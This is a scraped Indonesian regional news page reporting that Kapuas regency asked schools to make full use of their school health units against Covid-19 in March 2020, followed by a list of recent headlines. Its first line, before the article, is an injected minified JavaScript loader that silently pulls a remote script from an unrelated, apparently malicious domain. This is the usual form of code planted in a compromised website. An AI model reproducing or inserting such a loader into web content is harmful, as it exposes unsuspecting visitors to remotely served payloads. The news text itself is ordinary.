(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Bersama Lawan Covid-19, Sekolah di Kapuas Diminta Maksimalkan UKS


KANAL KALIMANTAN. COM, KUALA KAPUAS – Memaksimalkan Usaha Kesehatan Sekolah (UKS) menjadi salah satu upaya antisipasi penyebaran wabah virus corona (Covid-19) di lingkungan sekolah.

Kepala Dinas Pendidikan Kabupaten Kapuas H Suwarno Muriyat mengatakan, surat edaran Bupati Kapuas yang ditujukan kepada PAUD, TK, SD, SMP , SMA, SMK dan MA agar memaksimalkan Usaha Kesehatan Sekolah (UKS) terkait pencegahan penyebaran virus corona.

“UKS ini sudah ada sejak lama di setiap lingkungan sekolah dan memang sangat penting untuk mengantisipasi mewabahnya virus corona, sehingga tinggal dimaksimalkan saja,” ucap Kadisdik H Suwarno Muriyat, Selasa (17/3/2020).

Ia mengatakan, bukan saja sampai disitu, melalui UKS pun bisa membiasakan anak anak pelajar untuk selalu menggunakan tisu anti septik satu kali pakai langsung dibuang ke tempat sampah. Namun dibiasakan juga setelah selesai melakukan aktifitas harus mencuci tangan dengan sabun.

Lanjut Suwarno dalam surat edaran Bupati Kapuas juga meminta kepada satuan pendidikan agar berkoordinasi dengan Dinas Kesehatan dan UPTD, apabila ditemukan jumlah siswa atau pun guru yang tidak mengikuti proses belajar mengajar segera dilaporkan, agar tim kesehatan bisa turun ke lapangan untuk memastikan pengecekan kesehatan.

“Dinas Pendidikan menunggu laporan dari Kesehatan bahwa ada guru mau pun siswa terindikasi terkena virus corona maka kami memutuskan diliburkan proses belajar mengajar,”ungkapnya.

Ia menambahkan, sudah dari awal pihaknya sudah sosialisasi agar peserta didik tidak boleh bersalaman dengan bapak ibu guru, bahkan teman satu sekolah cukup dengan salaman ala sunda dengan kedua telapak tangan disimpun di depan dada sambil mengucapkan salam dan menggunakan masker.

“Bupati juga berpesan agar jangan sampai salah tanggap apa bila ditemukan ada yang sakit batuk dan pilek biasa heboh corona pada hal belum tau kebenaranya, biar Dinas Kesehatan yang berkompeten menyampaikan itu,” pungkasnya. (kanalkalimantan.com/ags)

Reporter : ags
Editor : bie

 


Al Ghifari

Recent Posts

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

1 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

21 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

1 hari ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

1 hari ago

This website uses cookies.